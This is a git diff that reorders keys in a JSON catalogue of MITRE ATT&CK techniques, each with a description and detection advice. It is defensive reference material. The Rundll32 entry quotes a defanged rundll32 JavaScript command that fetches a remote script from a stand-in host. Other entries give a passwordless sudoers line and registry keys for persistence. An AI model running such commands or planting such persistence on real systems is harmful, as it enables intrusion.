+ "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
+ "https://www.exploit-db.com/docs/17802.pdf",
+ "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
+ "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
+ "https://github.com/prekageo/winhook",
+ "https://github.com/jay/gethooks",
+ "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/",
+ "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
+ "http://www.gmer.net/",
+ "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
+ "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
]
},
- "uuid": "66f73398-8394-4711-85e5-34c8540b22a5"
+ "uuid": "66f73398-8394-4711-85e5-34c8540b22a5",
+ "value": "Hooking - T1179"
},
{
"description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable the port, the system expects a series of packets with certain characteristics before the port will be opened. This is often accomlished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nDetection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nPlatforms: Linux, macOS\n\nPermissions Required: User",
- "value": "Port Knocking - T1205",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1205"
- ],
"external_id": "T1205",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control",
@@ -4688,17 +4683,17 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1205"
]
},
- "uuid": "451a9977-d255-43c9-b431-66de80130c8c"
+ "uuid": "451a9977-d255-43c9-b431-66de80130c8c",
+ "value": "Port Knocking - T1205"
},
{
"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
- "value": "Automated Collection - T1119",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1119"
- ],
"external_id": "T1119",
"kill_chain": [
"mitre-attack:enterprise-attack:collection"
@@ -4712,19 +4707,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1119"
]
},
- "uuid": "30208d3e-0d6b-43c8-883e-44462a514619"
+ "uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
+ "value": "Automated Collection - T1119"
},
{
"description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
- "value": "Security Support Provider - T1101",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1101",
- "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "https://technet.microsoft.com/en-us/library/dn408187.aspx"
- ],
"external_id": "T1101",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -4736,18 +4729,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1101",
+ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
+ "https://technet.microsoft.com/en-us/library/dn408187.aspx"
]
},
- "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446"
+ "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446",
+ "value": "Security Support Provider - T1101"
},
{
"description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User",
- "value": "Sudo - T1169",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1169",
- "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
- ],
"external_id": "T1169",
"kill_chain": [
"mitre-attack:enterprise-attack:privilege-escalation"
@@ -4758,24 +4752,18 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1169",
+ "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
]
},
- "uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72"
+ "uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72",
+ "value": "Sudo - T1169"
},
{
"description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet",
- "value": "Office Application Startup - T1137",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1137",
- "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea",
- "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
- "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
- "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
- "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
- "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
- "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
- ],
"external_id": "T1137",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -4788,19 +4776,24 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1137",
+ "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea",
+ "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
+ "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
+ "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
+ "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
+ "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460",
+ "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
]
},
- "uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53"
+ "uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
+ "value": "Office Application Startup - T1137"
},
{
"description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Casey Smith",
- "value": "Rundll32 - T1085",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1085",
- "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
- "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
- ],
"external_id": "T1085",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -4814,17 +4807,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1085",
+ "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
+ "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
]
},
- "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5"
+ "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5",
+ "value": "Rundll32 - T1085"
},
{
"description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver",
- "value": "Network Sniffing - T1040",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1040"
- ],
"external_id": "T1040",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -4838,20 +4833,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1040"
]
},
- "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529"
+ "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
+ "value": "Network Sniffing - T1040"
},
{
"description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n*Local Port\n*Standard TCP/IP Port\n*USB Monitor\n*WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
- "value": "Port Monitors - T1013",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1013",
- "http://msdn.microsoft.com/en-us/library/dd183341",
- "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"external_id": "T1013",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -4866,26 +4858,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1013",
+ "http://msdn.microsoft.com/en-us/library/dd183341",
+ "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
- "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125"
+ "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125",
+ "value": "Port Monitors - T1013"
},
{
"description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG",
- "value": "Browser Extensions - T1176",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1176",
- "https://en.wikipedia.org/wiki/Browser%20extension",
- "https://developer.chrome.com/extensions",
- "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf",
- "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/",
- "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
- "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
- "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
- "https://kjaer.io/extension-malware/",
- "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
- ],
"external_id": "T1176",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -4902,22 +4888,26 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1176",
+ "https://en.wikipedia.org/wiki/Browser%20extension",
+ "https://developer.chrome.com/extensions",
+ "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf",
+ "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/",
+ "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
+ "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
+ "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
+ "https://kjaer.io/extension-malware/",
+ "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
]
},
- "uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8"
+ "uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8",
+ "value": "Browser Extensions - T1176"
},
{
"description": "Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.\n\nDetection: Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Asset Management, Data loss prevention",
- "value": "Hardware Additions - T1200",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1200",
- "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
- "http://www.bsidesto.ca/2015/slides/Weapons%20of%20a%20Penetration%20Tester.pptx",
- "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained",
- "https://www.youtube.com/watch?v=fXthwl6ShOg",
- "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
- ],
"external_id": "T1200",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -4930,18 +4920,22 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1200",
+ "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
+ "http://www.bsidesto.ca/2015/slides/Weapons%20of%20a%20Penetration%20Tester.pptx",
+ "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained",
+ "https://www.youtube.com/watch?v=fXthwl6ShOg",
+ "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
]
},
- "uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9"
+ "uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9",
+ "value": "Hardware Additions - T1200"
},
{
"description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, Signature-based detection, Heuristic detection",
- "value": "Software Packing - T1045",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1045",
- "http://en.wikipedia.org/wiki/Executable%20compression"
- ],
"external_id": "T1045",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -4951,17 +4945,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1045",
+ "http://en.wikipedia.org/wiki/Executable%20compression"
]
},
- "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88"
+ "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88",
+ "value": "Software Packing - T1045"
},
{
"description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
- "value": "Application Window Discovery - T1010",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1010"
- ],
"external_id": "T1010",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -4974,23 +4969,17 @@
"mitre_platforms": [
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1010"
]
},
- "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830"
+ "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830",
+ "value": "Application Window Discovery - T1010"
},
{
"description": "Service principle names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)\n\nDetection: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nPlatforms: Windows\n\nData Sources: Windows event logs\n\nPermissions Required: User\n\nSystem Requirements: Valid domain account or the ability to sniff traffic within a domain.\n\nContributors: Praetorian",
- "value": "Kerberoasting - T1208",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1208",
- "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
- "https://msdn.microsoft.com/library/ms677949.aspx",
- "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
- "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
- "https://github.com/EmpireProject/Empire/blob/master/data/module%20source/credentials/Invoke-Kerberoast.ps1",
- "https://adsecurity.org/?p=2293"
- ],
"external_id": "T1208",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -5000,17 +4989,23 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1208",
+ "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
+ "https://msdn.microsoft.com/library/ms677949.aspx",
+ "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
+ "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
+ "https://github.com/EmpireProject/Empire/blob/master/data/module%20source/credentials/Invoke-Kerberoast.ps1",
+ "https://adsecurity.org/?p=2293"
]
},
- "uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0"
+ "uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0",
+ "value": "Kerberoasting - T1208"
},
{
"description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes",
- "value": "Multi-hop Proxy - T1188",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1188"
- ],
